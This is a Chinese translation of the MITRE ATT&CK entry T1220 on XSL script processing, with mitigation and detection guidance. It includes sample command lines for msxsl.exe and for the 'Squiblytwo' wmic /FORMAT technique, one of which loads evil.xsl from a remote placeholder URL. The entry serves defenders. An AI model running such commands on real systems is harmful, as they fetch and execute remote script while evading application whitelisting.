ATT&CK-CN V1.01 Last Update: 2019-11 [返回索引页]

译者: 林妙倩、戴亦仑 原创翻译作品,如果需要转载请取得翻译作者同意。

数据来源:ATT&CK Matrices

原文: https://attack.mitre.org/techniques/T1220

术语表: /attack/glossary

XSL 脚本处理

可扩展样式表语言 (XSL) 文件通常用于描述 XML 文件中的数据处理和渲染方式。 为了支持复杂的操作,XSL 标准包括对各种语言的嵌入式脚本的支持。

攻击者可能会滥用此功能来执行任意文件,同时可能会绕过应用程序白名单防御。 与可信的开发人员实用程序 (Trusted Developer Utilities) 类似,可以安装 Microsoft 命令行转换实用程序 (msxsl.exe),并使用它来执行嵌入在本地或远程(通过 URL 引用的)XSL 文件中的恶意 JavaScript。 因为在默认情况下不会安装 msxsl.exe ,攻击者可能需要将其与删除的文件打包。

命令行示例:

  • msxsl.exe customers[.]xml script[.]xsl 这种技术的另一种变体,称为“Squiblytwo”,涉及使用 Windows 管理规范在 xsl 文件中调用 JScript 或 VBScript。 该技术还可以执行本地/远程脚本,类似于 Regsvr32/“Squiblydoo”,它利用了一个受信的内置 Windows 工具。 命令行示例:
  • 本地文件:wmic process list /FORMAT:evil[.]xsl
  • 远程文件:wmic os get /FORMAT:“https[:]//example[.]com/evil[.]xsl”

缓解

在给定的环境中,Windows 管理规范和/或 msxsl.exe 可以使用,也可以不使用。 禁用 WMI 可能会导致系统不稳定,应评估其对网络的影响。 如果 msxsl.exe 是不必要的,那么阻止它的执行以防止攻击者滥用。

检测

使用进程监视来监视 msxsl.exe 和 wmic.exe 的执行和参数。 将这些实用程序最近的调用与之前的已知良好参数和被加载的文件进行比较,以确定异常和潜在的攻击活动(例如: URL 命令行参数,创建外部网络连接,加载与脚本相关的 DLL)。 脚本调用前后使用的命令参数也可能有助于确定执行的二进制文件的来源和目的。 msxsl.exe 或其他启用代理执行的实用程序通常用于系统上的开发、调试和逆向工程,如果没有用于这些目的,则可能是可疑的。